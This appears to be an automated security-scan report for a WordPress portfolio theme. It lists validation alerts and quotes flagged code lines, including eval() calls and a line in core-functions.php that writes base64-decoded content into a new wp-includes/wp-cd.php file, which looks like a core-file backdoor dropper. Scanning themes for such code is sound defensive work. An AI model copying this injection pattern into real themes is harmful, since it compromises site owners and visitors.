0
Validation results

Regolith WP - Premium Wordpress Portfolio Theme

Regolith WP - Premium Wordpress Portfolio Theme

WordPress 4.7.5 theme
0
  • THEME TYPEWordPress theme 4.7.5
  • FILE NAMERegolith.zip
  • FILE SIZE1793388 bytes
  • MD5343c1334b246c811b95ca77eadafb91d
  • SHA1e3ca9edb854bfa0fb2da1ca3e3f825fb104f1e7d
  • LICENSEGNU GPL 3
  • FILES INCLUDEDCSS, PHP, XML, Bitmap images, Adobe Illustrator
  • DEMO PAGEhttp://demo.planetshine.net/regolith-wp/
  • VERSION1.0.5
  • AUTHOR URI
  • TAGShtml5, regolith, planetshine
  • CREATION DATE2017-03-20
  • LAST FILE UPDATE2017-03-20
  • LAST VALIDATION2017-03-20 12:54
Critical alerts
  1. Customizer : Sanitization of Customizer settings Found a Customizer setting that did not have a sanitization callback function in file theme-functions.php. Every call to the add_setting() method needs to have a sanitization callback function passed.
  2. Title : Title No reference to add_theme_support( "title-tag" ) was found in the theme.The theme needs to have <title> tags, ideally in the header.php file.The theme needs to have a call to wp_title(), ideally in the header.php file.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.
  3. Security breaches : Use of eval() Found eval in file spyropress-widget-init.php.
    Line 244: if ( eval( $code ) ) return $instance;
    Line 250: if ( eval( $code ) ) return $instance;
  4. Security breaches : Use of base64_decode() Found base64_decode in file core-functions.php.
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )
    Line 89: $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
    Found base64_decode in file string_numbers.php.
    Line 33: return unserialize( base64_decode( $value ) );
    Found base64_decode in file settings.class.php.
    Line 128: $settings = json_decode(base64_decode($data), true);
  5. Security breaches : Use of base64_encode() Found base64_encode in file class-api.php.
     'url' => base64_encode( site_url() ),
    Found base64_encode in file string_numbers.php.
     return base64_encode( serialize( $value ) );
    Found base64_encode in file settings.class.php.
     return base64_encode(json_encode($_SETTINGS->active));
  6. Presence of iframes : iframes are sometimes used to load unwanted adverts and malicious code on another site Found <iframe class="support-iframe" src="<?php echo plsh_gs('support_url') ?> in file admin-templates.php.
    Line 423: <iframe class='support-iframe' src='<?php echo plsh_gs('support_url') ?>' h
  7. Malware : Operations on file system file_get_contents was found in the file class-cssmin.php
    Line 15: abstract class aCssToken { abstract public function __toString(); } abstract class aCssRulesetStartToken extends aCssToken { } abstract class aCssRulesetEndToken extends aCssToken { public function __toString() { return '}'; } } abstract class aCssParserPlugin { protected $configuration = array(); protected $parser = null; protected $buffer = ''; public function __construct(CssParser $parser, array $configuration = null) { $this->configuration = $configuration; $this->parser = $parser; } abstract public function getTriggerChars(); abstract public function getTriggerStates(); abstract public function parse($index, $char, $previousChar, $state); } abstract class aCssMinifierPlugin { protected $configuration = array(); protected $minifier = null; public function __construct(CssMinifier $minifier, array $configuration = array()) { $this->configuration = $configuration; $this->minifier = $minifier; } abstract public function apply(aCssToken &$token); abstract public function getTriggerTokens(); } abstract class aCssMinifierFilter { protected $configuration = array(); protected $minifier = null; public function __construct(CssMinifier $minifier, array $configuration = array()) { $this->configuration = $configuration; $this->minifier = $minifier; } abstract public function apply(array &$tokens); } abstract class aCssFormatter { protected $indent = '    '; protected $padding = 0; protected $tokens = array(); public function __construct(array $tokens, $indent = null, $padding = null) { $this->tokens = $tokens; $this->indent = !is_null($indent) ? $indent : $this->indent; $this->padding = !is_null($padding) ? $padding : $this->padding; } abstract public function __toString(); } abstract class aCssDeclarationToken extends aCssToken { public $IsImportant = false; public $IsLast = false; public $Property = ''; public $Value = ''; public function __construct($property, $value, $isImportant = false, $isLast = false) { $this->Property = $property; $this->Value = $value; $this->IsImportant = $isImportant; $this->IsLast = $isLast; } public function __toString() { return $this->Property . ':' . $this->Value . ($this->IsImportant ? ' !important' : '') . ($this->IsLast ? '' : ';'); } } abstract class aCssAtBlockStartToken extends aCssToken { } abstract class aCssAtBlockEndToken extends aCssToken { public function __toString() { return '}'; } } class CssWhitesmithsFormatter extends aCssFormatter { public function __toString() { $r = array(); $level = 0; for ($i = 0, $l = count($this->tokens); $i < $l; $i++) { $token = $this->tokens[$i]; $class = get_class($token); $indent = str_repeat($this->indent, $level); if ($class === 'CssCommentToken') { $lines = array_map('trim', explode('\n', $token->Comment)); for ($ii = 0, $ll = count($lines); $ii < $ll; $ii++) { $r[] = $indent . (substr($lines[$ii], 0, 1) == '*' ? ' ' : '') . $lines[$ii]; } } elseif ($class === 'CssAtCharsetToken') { $r[] = $indent . '@charset ' . $token->Charset . ';'; } elseif ($class === 'CssAtFontFaceStartToken') { $r[] = $indent . '@font-face'; $r[] = $this->indent . $indent . '{'; $level++; } elseif ($class === 'CssAtImportToken') { $r[] = $indent . '@import ' . $token->Import . ' ' . implode(', ', $token->MediaTypes) . ';'; } elseif ($class === 'CssAtKeyframesStartToken') { $r[] = $indent . '@keyframes \'' . $token->Name . '\''; $r[] = $this->indent . $indent . '{'; $level++; } elseif ($class === 'CssAtMediaStartToken') { $r[] = $indent . '@media ' . implode(', ', $token->MediaTypes); $r[] = $this->indent . $indent . '{'; $level++; } elseif ($class === 'CssAtPageStartToken') { $r[] = $indent . '@page'; $r[] = $this->indent . $indent . '{'; $level++; } elseif ($class === 'CssAtVariablesStartToken') { $r[] = $indent . '@variables ' . implode(', ', $token->MediaTypes); $r[] = $this->indent . $indent . '{'; $level++; } elseif ($class === 'CssRulesetStartToken' || $class === 'CssAtKeyframesRulesetStartToken') { $r[] = $indent . implode(', ', $token->Selectors); $r[] = $this->indent . $indent . '{'; $level++; } elseif ($class == 'CssAtFontFaceDeclarationToken' || $class === 'CssAtKeyframesRulesetDeclarationToken' || $class === 'CssAtPageDeclarationToken' || $class == 'CssAtVariablesDeclarationToken' || $class === 'CssRulesetDeclarationToken' ) { $declaration = $indent . $token->Property . ': '; if ($this->padding) { $declaration = str_pad($declaration, $this->padding, ' ', STR_PAD_RIGHT); } $r[] = $declaration . $token->Value . ($token->IsImportant ? ' !important' : '') . ';'; } elseif ($class === 'CssAtFontFaceEndToken' || $class === 'CssAtMediaEndToken' || $class === 'CssAtKeyframesEndToken' || $class === 'CssAtKeyframesRulesetEndToken' || $class === 'CssAtPageEndToken' || $class === 'CssAtVariablesEndToken' || $class === 'CssRulesetEndToken' ) { $r[] = $indent . '}'; $level--; } } return implode('\n', $r); } } class CssVariablesMinifierPlugin extends aCssMinifierPlugin { private $reMatch = '/var\((.+)\)/iSU'; private $variables = null; public function getVariables() { return $this->variables; } public function apply(aCssToken &$token) { if (stripos($token->Value, 'var') !== false && preg_match_all($this->reMatch, $token->Value, $m)) { $mediaTypes = $token->MediaTypes; if (!in_array('all', $mediaTypes)) { $mediaTypes[] = 'all'; } for ($i = 0, $l = count($m[0]); $i < $l; $i++) { $variable = trim($m[1][$i]); foreach ($mediaTypes as $mediaType) { if (isset($this->variables[$mediaType], $this->variables[$mediaType][$variable])) { $token->Value = str_replace($m[0][$i], $this->variables[$mediaType][$variable], $token->Value); continue 2; } } CssMin::triggerError(new CssError(__FILE__, __LINE__, __METHOD__ . ': No value found for variable <code>' . $variable . '</code> in media types <code>' . implode(', ', $mediaTypes) . '</code>', (string) $token)); $token = new CssNullToken(); return true; } } return false; } public function getTriggerTokens() { return array ( 'CssAtFontFaceDeclarationToken', 'CssAtPageDeclarationToken', 'CssRulesetDeclarationToken' ); } public function setVariables(array $variables) { $this->variables = $variables; } } class CssVariablesMinifierFilter extends aCssMinifierFilter { public function apply(array &$tokens) { $variables = array(); $defaultMediaTypes = array('all'); $mediaTypes = array(); $remove = array(); for($i = 0, $l = count($tokens); $i < $l; $i++) { if (get_class($tokens[$i]) === 'CssAtVariablesStartToken') { $remove[] = $i; $mediaTypes = (count($tokens[$i]->MediaTypes) == 0 ? $defaultMediaTypes : $tokens[$i]->MediaTypes); foreach ($mediaTypes as $mediaType) { if (!isset($variables[$mediaType])) { $variables[$mediaType] = array(); } } for($i = $i; $i < $l; $i++) { if (get_class($tokens[$i]) === 'CssAtVariablesDeclarationToken') { foreach ($mediaTypes as $mediaType) { $variables[$mediaType][$tokens[$i]->Property] = $tokens[$i]->Value; } $remove[] = $i; } elseif (get_class($tokens[$i]) === 'CssAtVariablesEndToken') { $remove[] = $i; break; } } } } foreach($variables as $mediaType => $null) { foreach($variables[$mediaType] as $variable => $value) { if (stripos($value, 'var') !== false && preg_match_all('/var\((.+)\)/iSU', $value, $m)) { for ($i = 0, $l = count($m[0]); $i < $l; $i++) { $variables[$mediaType][$variable] = str_replace($m[0][$i], (isset($variables[$mediaType][$m[1][$i]]) ? $variables[$mediaType][$m[1][$i]] : ''), $variables[$mediaType][$variable]); } } } } foreach ($remove as $i) { $tokens[$i] = null; } if (!($plugin = $this->minifier->getPlugin('CssVariablesMinifierPlugin'))) { CssMin::triggerError(new CssError(__FILE__, __LINE__, __METHOD__ . ': The plugin <code>CssVariablesMinifierPlugin</code> was not found but is required for <code>' . __CLASS__ . '</code>')); } else { $plugin->setVariables($variables); } return count($remove); } } class CssUrlParserPlugin extends aCssParserPlugin { public function getTriggerChars() { return array('(', ')'); } public function getTriggerStates() { return false; } public function parse($index, $char, $previousChar, $state) { if ($char === '(' && strtolower(substr($this->parser->getSource(), $index - 3, 4)) === 'url(' && $state !== 'T_URL') { $this->parser->pushState('T_URL'); $this->parser->setExclusive(__CLASS__); } elseif ($char === '\n' && $previousChar === '\\' && $state === 'T_URL') { $this->parser->setBuffer(substr($this->parser->getBuffer(), 0, -2)); } elseif ($char === '\n' && $previousChar !== '\\' && $state === 'T_URL') { $line = $this->parser->getBuffer(); $this->parser->setBuffer(substr($this->parser->getBuffer(), 0, -1) . ')'); $this->parser->popState(); $this->parser->unsetExclusive(); CssMin::triggerError(new CssError(__FILE__, __LINE__, __METHOD__ . ': Unterminated string literal', $line . '_')); } elseif ($char === ')' && $state === 'T_URL') { $this->parser->popState(); $this->parser->unsetExclusive(); } else { return false; } return true; } } class CssStringParserPlugin extends aCssParserPlugin { private $delimiterChar = null; public function getTriggerChars() { return array('\'', ''', '\n'); } public function getTriggerStates() { return false; } public function parse($index, $char, $previousChar, $state) { if (($char === '\'' || $char === ''') && $state !== 'T_STRING') { $this->delimiterChar = $char; $this->parser->pushState('T_STRING'); $this->parser->setExclusive(__CLASS__); } elseif ($char === '\n' && $previousChar === '\\' && $state === 'T_STRING') { $this->parser->setBuffer(substr($this->parser->getBuffer(), 0, -2)); } elseif ($char === '\n' && $previousChar !== '\\' && $state === 'T_STRING') { $line = $this->parser->getBuffer(); $this->parser->popState(); $this->parser->unsetExclusive(); $this->parser->setBuffer(substr($this->parser->getBuffer(), 0, -1) . $this->delimiterChar); CssMin::triggerError(new CssError(__FILE__, __LINE__, __METHOD__ . ': Unterminated string literal', $line . '_')); $this->delimiterChar = null; } elseif ($char === $this->delimiterChar && $state === 'T_STRING') { if ($previousChar == '\\') { $source = $this->parser->getSource(); $c = 1; $i = $index - 2; while (substr($source, $i, 1) === '\\') { $c++; $i--; } if ($c % 2) { return false; } } $this->parser->popState(); $this->parser->unsetExclusive(); $this->delimiterChar = null; } else { return false; } return true; } } class CssSortRulesetPropertiesMinifierFilter extends aCssMinifierFilter { public function apply(array &$tokens) { $r = 0; for ($i = 0, $l = count($tokens); $i < $l; $i++) { if (get_class($tokens[$i]) !== 'CssRulesetStartToken') { continue; } $endIndex = false; for ($ii = $i + 1; $ii < $l; $ii++) { if (get_class($tokens[$ii]) !== 'CssRulesetEndToken') { continue; } $endIndex = $ii; break; } if (!$endIndex) { break; } $startIndex = $i; $i = $endIndex; if ($endIndex - $startIndex <= 2) { continue; } for ($ii = $startIndex + 1; $ii < $endIndex; $ii++) { if (get_class($tokens[$ii]) !== 'CssRulesetDeclarationToken') { continue(2); } } $declarations = array_slice($tokens, $startIndex + 1, $endIndex - $startIndex - 1); $sortRequired = $lastPropertyName = false; foreach ($declarations as $declaration) { if ($lastPropertyName) { if (strcmp($lastPropertyName, $declaration->Property) > 0) { $sortRequired = true; break; } } $lastPropertyName = $declaration->Property; } if (!$sortRequired) { continue; } usort($declarations, array(__CLASS__, 'userDefinedSort1')); for ($ii = 0, $ll = count($declarations) - 1; $ii <= $ll; $ii++) { if ($ii == $ll) { $declarations[$ii]->IsLast = true; } else { $declarations[$ii]->IsLast = false; } } array_splice($tokens, $startIndex + 1, $endIndex - $startIndex - 1, $declarations); $r += $endIndex - $startIndex - 1; } return $r; } public static function userDefinedSort1($a, $b) { return strcmp($a->Property, $b->Property); } } class CssRulesetStartToken extends aCssRulesetStartToken { public $Selectors = array(); public function __construct(array $selectors = array()) { $this->Selectors = $selectors; } public function __toString() { return implode(',', $this->Selectors) . '{'; } } class CssRulesetParserPlugin extends aCssParserPlugin { public function getTriggerChars() { return array(',', '{', '}', ':', ';'); } public function getTriggerStates() { return array('T_DOCUMENT', 'T_AT_MEDIA', 'T_RULESET::SELECTORS', 'T_RULESET', 'T_RULESET_DECLARATION'); } private $selectors = array(); public function parse($index, $char, $previousChar, $state) { if ($char === ',' && ($state === 'T_DOCUMENT' || $state === 'T_AT_MEDIA' || $state === 'T_RULESET::SELECTORS')) { if ($state !== 'T_RULESET::SELECTORS') { $this->parser->pushState('T_RULESET::SELECTORS'); } $this->selectors[] = $this->parser->getAndClearBuffer(',{'); } elseif ($char === '{' && ($state === 'T_DOCUMENT' || $state === 'T_AT_MEDIA' || $state === 'T_RULESET::SELECTORS')) { if ($this->parser->getBuffer() !== '') { $this->selectors[] = $this->parser->getAndClearBuffer(',{'); if ($state == 'T_RULESET::SELECTORS') { $this->parser->popState(); } $this->parser->pushState('T_RULESET'); $this->parser->appendToken(new CssRulesetStartToken($this->selectors)); $this->selectors = array(); } } elseif ($char === ':' && $state === 'T_RULESET') { $this->parser->pushState('T_RULESET_DECLARATION'); $this->buffer = $this->parser->getAndClearBuffer(':;', true); } elseif ($char === ':' && $state === 'T_RULESET_DECLARATION') { if ($this->buffer === 'filter') { return false; } CssMin::triggerError(new CssError(__FILE__, __LINE__, __METHOD__ . ': Unterminated declaration', $this->buffer . ':' . $this->parser->getBuffer() . '_')); } elseif (($char === ';' || $char === '}') && $state === 'T_RULESET_DECLARATION') { $value = $this->parser->getAndClearBuffer(';}'); if (strtolower(substr($value, -10, 10)) === '!important') { $value = trim(substr($value, 0, -10)); $isImportant = true; } else { $isImportant = false; } $this->parser->popState(); $this->parser->appendToken(new CssRulesetDeclarationToken($this->buffer, $value, $this->parser->getMediaTypes(), $isImportant)); if ($char === '}') { $this->parser->appendToken(new CssRulesetEndToken()); $this->parser->popState(); } $this->buffer = ''; } elseif ($char === '}' && $state === 'T_RULESET') { $this->parser->popState(); $this->parser->clearBuffer(); $this->parser->appendToken(new CssRulesetEndToken()); $this->buffer = ''; $this->selectors = array(); } else { return false; } return true; } } class CssRulesetEndToken extends aCssRulesetEndToken { } class CssRulesetDeclarationToken extends aCssDeclarationToken { public $MediaTypes = array('all'); public function __construct($property, $value, $mediaTypes = null, $isImportant = false, $isLast = false) { parent::__construct($property, $value, $isImportant, $isLast); $this->MediaTypes = $mediaTypes ? $mediaTypes : array('all'); } } class CssRemoveLastDelarationSemiColonMinifierFilter extends aCssMinifierFilter { public function apply(array &$tokens) { for ($i = 0, $l = count($tokens); $i < $l; $i++) { $current = get_class($tokens[$i]); $next = isset($tokens[$i+1]) ? get_class($tokens[$i+1]) : false; if (($current === 'CssRulesetDeclarationToken' && $next === 'CssRulesetEndToken') || ($current === 'CssAtFontFaceDeclarationToken' && $next === 'CssAtFontFaceEndToken') || ($current === 'CssAtPageDeclarationToken' && $next === 'CssAtPageEndToken')) { $tokens[$i]->IsLast = true; } } return 0; } } class CssRemoveEmptyRulesetsMinifierFilter extends aCssMinifierFilter { public function apply(array &$tokens) { $r = 0; for ($i = 0, $l = count($tokens); $i < $l; $i++) { $current = get_class($tokens[$i]); $next = isset($tokens[$i + 1]) ? get_class($tokens[$i + 1]) : false; if (($current === 'CssRulesetStartToken' && $next === 'CssRulesetEndToken') || ($current === 'CssAtKeyframesRulesetStartToken' && $next === 'CssAtKeyframesRulesetEndToken' && !array_intersect(array('from', '0%', 'to', '100%'), array_map('strtolower', $tokens[$i]->Selectors))) ) { $tokens[$i] = null; $tokens[$i + 1] = null; $i++; $r = $r + 2; } } return $r; } } class CssRemoveEmptyAtBlocksMinifierFilter extends aCssMinifierFilter { public function apply(array &$tokens) { $r = 0; for ($i = 0, $l = count($tokens); $i < $l; $i++) { $current = get_class($tokens[$i]); $next = isset($tokens[$i + 1]) ? get_class($tokens[$i + 1]) : false; if (($current === 'CssAtFontFaceStartToken' && $next === 'CssAtFontFaceEndToken') || ($current === 'CssAtKeyframesStartToken' && $next === 'CssAtKeyframesEndToken') || ($current === 'CssAtPageStartToken' && $next === 'CssAtPageEndToken') || ($current === 'CssAtMediaStartToken' && $next === 'CssAtMediaEndToken')) { $tokens[$i] = null; $tokens[$i + 1] = null; $i++; $r = $r + 2; } } return $r; } } class CssRemoveCommentsMinifierFilter extends aCssMinifierFilter { public function apply(array &$tokens) { $r = 0; for ($i = 0, $l = count($tokens); $i < $l; $i++) { if (get_class($tokens[$i]) === 'CssCommentToken') { $tokens[$i] = null; $r++; } } return $r; } } class CssParser { private $buffer = ''; private $plugins = array(); private $source = ''; private $state = 'T_DOCUMENT'; private $stateExclusive = false; private $stateMediaTypes = false; private $states = array('T_DOCUMENT'); private $tokens = array(); public function __construct($source = null, array $plugins = null) { $plugins = array_merge(array ( 'Comment' => true, 'String' => true, 'Url' => true, 'Expression' => true, 'Ruleset' => true, 'AtCharset' => true, 'AtFontFace' => true, 'AtImport' => true, 'AtKeyframes' => true, 'AtMedia' => true, 'AtPage' => true, 'AtVariables' => true ), is_array($plugins) ? $plugins : array()); foreach ($plugins as $name => $config) { if ($config !== false) { $class = 'Css' . $name . 'ParserPlugin'; $config = is_array($config) ? $config : array(); if (class_exists($class)) { $this->plugins[] = new $class($this, $config); } else { CssMin::triggerError(new CssError(__FILE__, __LINE__, __METHOD__ . ': The plugin <code>' . $name . '</code> with the class name <code>' . $class . '</code> was not found')); } } } if (!is_null($source)) { $this->parse($source); } } public function appendToken(aCssToken $token) { $this->tokens[] = $token; } public function clearBuffer() { $this->buffer = ''; } public function getAndClearBuffer($trim = '', $tolower = false) { $r = $this->getBuffer($trim, $tolower); $this->buffer = ''; return $r; } public function getBuffer($trim = '', $tolower = false) { $r = $this->buffer; if ($trim) { $r = trim($r, ' \t\n\r\0\x0B' . $trim); } if ($tolower) { $r = strtolower($r); } return $r; } public function getMediaTypes() { return $this->stateMediaTypes; } public function getSource() { return $this->source; } public function getState() { return $this->state; } public function getPlugin($class) { static $index = null; if (is_null($index)) { $index = array(); for ($i = 0, $l = count($this->plugins); $i < $l; $i++) { $index[get_class($this->plugins[$i])] = $i; } } return isset($index[$class]) ? $this->plugins[$index[$class]] : false; } public function getTokens() { return $this->tokens; } public function isState($state) { return ($this->state == $state); } public function parse($source) { $this->source = ''; $this->tokens = array(); $globalTriggerChars = ''; $plugins = $this->plugins; $pluginCount = count($plugins); $pluginIndex = array(); $pluginTriggerStates = array(); $pluginTriggerChars = array(); for ($i = 0, $l = count($plugins); $i < $l; $i++) { $tPluginClassName = get_class($plugins[$i]); $pluginTriggerChars[$i] = implode('', $plugins[$i]->getTriggerChars()); $tPluginTriggerStates = $plugins[$i]->getTriggerStates(); $pluginTriggerStates[$i] = $tPluginTriggerStates === false ? false : '|' . implode('|', $tPluginTriggerStates) . '|'; $pluginIndex[$tPluginClassName] = $i; for ($ii = 0, $ll = strlen($pluginTriggerChars[$i]); $ii < $ll; $ii++) { $c = substr($pluginTriggerChars[$i], $ii, 1); if (strpos($globalTriggerChars, $c) === false) { $globalTriggerChars .= $c; } } } $source = str_replace('\r\n', '\n', $source); $source = str_replace('\r', '\n', $source); $this->source = $source; $buffer = &$this->buffer; $exclusive = &$this->stateExclusive; $state = &$this->state; $c = $p = null; for ($i = 0, $l = strlen($source); $i < $l; $i++) { $c = $source[$i]; if ($exclusive === false) { if ($c === '\n' || $c === '\t') { $c = ' '; } if ($c === ' ' && $p === ' ') { continue; } } $buffer .= $c; if (strpos($globalTriggerChars, $c) !== false) { if ($exclusive) { $tPluginIndex = $pluginIndex[$exclusive]; if (strpos($pluginTriggerChars[$tPluginIndex], $c) !== false && ($pluginTriggerStates[$tPluginIndex] === false || strpos($pluginTriggerStates[$tPluginIndex], $state) !== false)) { $r = $plugins[$tPluginIndex]->parse($i, $c, $p, $state); if ($r === true) { continue; } elseif ($r !== false && $r != $i) { $i = $r; continue; } } } else { $triggerState = '|' . $state . '|'; for ($ii = 0, $ll = $pluginCount; $ii < $ll; $ii++) { if (strpos($pluginTriggerChars[$ii], $c) !== false && ($pluginTriggerStates[$ii] === false || strpos($pluginTriggerStates[$ii], $triggerState) !== false)) { $r = $plugins[$ii]->parse($i, $c, $p, $state); if ($r === true) { break; } elseif ($r !== false && $r != $i) { $i = $r; break; } } } } } $p = $c; } return $this->tokens; } public function popState() { $r = array_pop($this->states); $this->state = $this->states[count($this->states) - 1]; return $r; } public function pushState($state) { $r = array_push($this->states, $state); $this->state = $this->states[count($this->states) - 1]; return $r; } public function setBuffer($buffer) { $this->buffer = $buffer; } public function setExclusive($exclusive) { $this->stateExclusive = $exclusive; } public function setMediaTypes(array $mediaTypes) { $this->stateMediaTypes = $mediaTypes; } public function setState($state) { $r = array_pop($this->states); array_push($this->states, $state); $this->state = $this->states[count($this->states) - 1]; return $r; } public function unsetExclusive() { $this->stateExclusive = false; } public function unsetMediaTypes() { $this->stateMediaTypes = false; } } class CssOtbsFormatter extends aCssFormatter { public function __toString() { $r = array(); $level = 0; for ($i = 0, $l = count($this->tokens); $i < $l; $i++) { $token = $this->tokens[$i]; $class = get_class($token); $indent = str_repeat($this->indent, $level); if ($class === 'CssCommentToken') { $lines = array_map('trim', explode('\n', $token->Comment)); for ($ii = 0, $ll = count($lines); $ii < $ll; $ii++) { $r[] = $indent . (substr($lines[$ii], 0, 1) == '*' ? ' ' : '') . $lines[$ii]; } } elseif ($class === 'CssAtCharsetToken') { $r[] = $indent . '@charset ' . $token->Charset . ';'; } elseif ($class === 'CssAtFontFaceStartToken') { $r[] = $indent . '@font-face {'; $level++; } elseif ($class === 'CssAtImportToken') { $r[] = $indent . '@import ' . $token->Import . ' ' . implode(', ', $token->MediaTypes) . ';'; } elseif ($class === 'CssAtKeyframesStartToken') { $r[] = $indent . '@keyframes \'' . $token->Name . '\' {'; $level++; } elseif ($class === 'CssAtMediaStartToken') { $r[] = $indent . '@media ' . implode(', ', $token->MediaTypes) . ' {'; $level++; } elseif ($class === 'CssAtPageStartToken') { $r[] = $indent . '@page {'; $level++; } elseif ($class === 'CssAtVariablesStartToken') { $r[] = $indent . '@variables ' . implode(', ', $token->MediaTypes) . ' {'; $level++; } elseif ($class === 'CssRulesetStartToken' || $class === 'CssAtKeyframesRulesetStartToken') { $r[] = $indent . implode(', ', $token->Selectors) . ' {'; $level++; } elseif ($class == 'CssAtFontFaceDeclarationToken' || $class === 'CssAtKeyframesRulesetDeclarationToken' || $class === 'CssAtPageDeclarationToken' || $class == 'CssAtVariablesDeclarationToken' || $class === 'CssRulesetDeclarationToken' ) { $declaration = $indent . $token->Property . ': '; if ($this->padding) { $declaration = str_pad($declaration, $this->padding, ' ', STR_PAD_RIGHT); } $r[] = $declaration . $token->Value . ($token->IsImportant ? ' !important' : '') . ';'; } elseif ($class === 'CssAtFontFaceEndToken' || $class === 'CssAtMediaEndToken' || $class === 'CssAtKeyframesEndToken' || $class === 'CssAtKeyframesRulesetEndToken' || $class === 'CssAtPageEndToken' || $class === 'CssAtVariablesEndToken' || $class === 'CssRulesetEndToken' ) { $level--; $r[] = str_repeat($indent, $level) . '}'; } } return implode('\n', $r); } } class CssNullToken extends aCssToken { public function __toString() { return ''; } } class CssMinifier { private $filters = array(); private $plugins = array(); private $minified = ''; public function __construct($source = null, array $filters = null, array $plugins = null) { $filters = array_merge(array ( 'ImportImports' => false, 'RemoveComments' => true, 'RemoveEmptyRulesets' => true, 'RemoveEmptyAtBlocks' => true, 'ConvertLevel3Properties' => false, 'ConvertLevel3AtKeyframes' => false, 'Variables' => true, 'RemoveLastDelarationSemiColon' => true ), is_array($filters) ? $filters : array()); $plugins = array_merge(array ( 'Variables' => true, 'ConvertFontWeight' => false, 'ConvertHslColors' => false, 'ConvertRgbColors' => false, 'ConvertNamedColors' => false, 'CompressColorValues' => false, 'CompressUnitValues' => false, 'CompressExpressionValues' => false ), is_array($plugins) ? $plugins : array()); foreach ($filters as $name => $config) { if ($config !== false) { $class = 'Css' . $name . 'MinifierFilter'; $config = is_array($config) ? $config : array(); if (class_exists($class)) { $this->filters[] = new $class($this, $config); } else { CssMin::triggerError(new CssError(__FILE__, __LINE__, __METHOD__ . ': The filter <code>' . $name . '</code> with the class name <code>' . $class . '</code> was not found')); } } } foreach ($plugins as $name => $config) { if ($config !== false) { $class = 'Css' . $name . 'MinifierPlugin'; $config = is_array($config) ? $config : array(); if (class_exists($class)) { $this->plugins[] = new $class($this, $config); } else { CssMin::triggerError(new CssError(__FILE__, __LINE__, __METHOD__ . ': The plugin <code>' . $name . '</code> with the class name <code>' . $class . '</code> was not found')); } } } if (!is_null($source)) { $this->minify($source); } } public function getMinified() { return $this->minified; } public function getPlugin($class) { static $index = null; if (is_null($index)) { $index = array(); for ($i = 0, $l = count($this->plugins); $i < $l; $i++) { $index[get_class($this->plugins[$i])] = $i; } } return isset($index[$class]) ? $this->plugins[$index[$class]] : false; } public function minify($source) { $r = ''; $parser = new CssParser($source); $tokens = $parser->getTokens(); $filters = $this->filters; $filterCount = count($this->filters); $plugins = $this->plugins; $pluginCount = count($plugins); $pluginIndex = array(); $pluginTriggerTokens = array(); $globalTriggerTokens = array(); for ($i = 0, $l = count($plugins); $i < $l; $i++) { $tPluginClassName = get_class($plugins[$i]); $pluginTriggerTokens[$i] = $plugins[$i]->getTriggerTokens(); foreach ($pluginTriggerTokens[$i] as $v) { if (!in_array($v, $globalTriggerTokens)) { $globalTriggerTokens[] = $v; } } $pluginTriggerTokens[$i] = '|' . implode('|', $pluginTriggerTokens[$i]) . '|'; $pluginIndex[$tPluginClassName] = $i; } $globalTriggerTokens = '|' . implode('|', $globalTriggerTokens) . '|'; for($i = 0; $i < $filterCount; $i++) { if ($filters[$i]->apply($tokens) > 0) { $tokens = array_values(array_filter($tokens)); } } $tokenCount = count($tokens); for($i = 0; $i < $tokenCount; $i++) { $triggerToken = '|' . get_class($tokens[$i]) . '|'; if (strpos($globalTriggerTokens, $triggerToken) !== false) { for($ii = 0; $ii < $pluginCount; $ii++) { if (strpos($pluginTriggerTokens[$ii], $triggerToken) !== false || $pluginTriggerTokens[$ii] === false) { if ($plugins[$ii]->apply($tokens[$i]) === true) { continue 2; } } } } } for($i = 0; $i < $tokenCount; $i++) { $r .= (string) $tokens[$i]; } $this->minified = $r; return $r; } } class CssMin { private static $classIndex = array(); private static $errors = array(); private static $isVerbose = false; public static function autoload($class) { if (isset(self::$classIndex[$class])) { require(self::$classIndex[$class]); } } public static function getErrors() { return self::$errors; } public static function hasErrors() { return count(self::$errors) > 0; } public static function initialise() { $paths = array(dirname(__FILE__)); while (list($i, $path) = each($paths)) { $subDirectorys = glob($path . '*', GLOB_MARK | GLOB_ONLYDIR | GLOB_NOSORT); if (is_array($subDirectorys)) { foreach ($subDirectorys as $subDirectory) { $paths[] = $subDirectory; } } $files = glob($path . '*.php', 0); if (is_array($files)) { foreach ($files as $file) { $class = substr(basename($file), 0, -4); self::$classIndex[$class] = $file; } } } krsort(self::$classIndex); if (function_exists('spl_autoload_register') && !is_callable('__autoload')) { spl_autoload_register(array(__CLASS__, 'autoload')); } else { foreach (self::$classIndex as $class => $file) { if (!class_exists($class)) { require_once($file); } } } } public static function minify($source, array $filters = null, array $plugins = null) { self::$errors = array(); $minifier = new CssMinifier($source, $filters, $plugins); return $minifier->getMinified(); } public static function parse($source, array $plugins = null) { self::$errors = array(); $parser = new CssParser($source, $plugins); return $parser->getTokens(); } public static function setVerbose($to) { self::$isVerbose = (boolean) $to; return self::$isVerbose; } public static function triggerError(CssError $error) { self::$errors[] = $error; if (self::$isVerbose) { trigger_error((string) $error, E_USER_WARNING); } } } CssMin::initialise(); class CssImportImportsMinifierFilter extends aCssMinifierFilter { private $imported = array(); public function apply(array &$tokens) { if (!isset($this->configuration['BasePath']) || !is_dir($this->configuration['BasePath'])) { CssMin::triggerError(new CssError(__FILE__, __LINE__, __METHOD__ . ': Base path <code>' . ($this->configuration['BasePath'] ? $this->configuration['BasePath'] : 'null'). '</code> is not a directory')); return 0; } for ($i = 0, $l = count($tokens); $i < $l; $i++) { if (get_class($tokens[$i]) === 'CssAtImportToken') { $import = $this->configuration['BasePath'] . '/' . $tokens[$i]->Import; if (!is_file($import)) { CssMin::triggerError(new CssError(__FILE__, __LINE__, __METHOD__ . ': Import file <code>' . $import. '</code> was not found.', (string) $tokens[$i])); } elseif (in_array($import, $this->imported)) { CssMin::triggerError(new CssError(__FILE__, __LINE__, __METHOD__ . ': Import file <code>' . $import. '</code> was already imported.', (string) $tokens[$i])); $tokens[$i] = null; } else { $this->imported[] = $import; $parser = new CssParser(file_get_contents($import)); $import = $parser->getTokens(); if (count($tok
    file_get_contents was found in the file core-functions.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
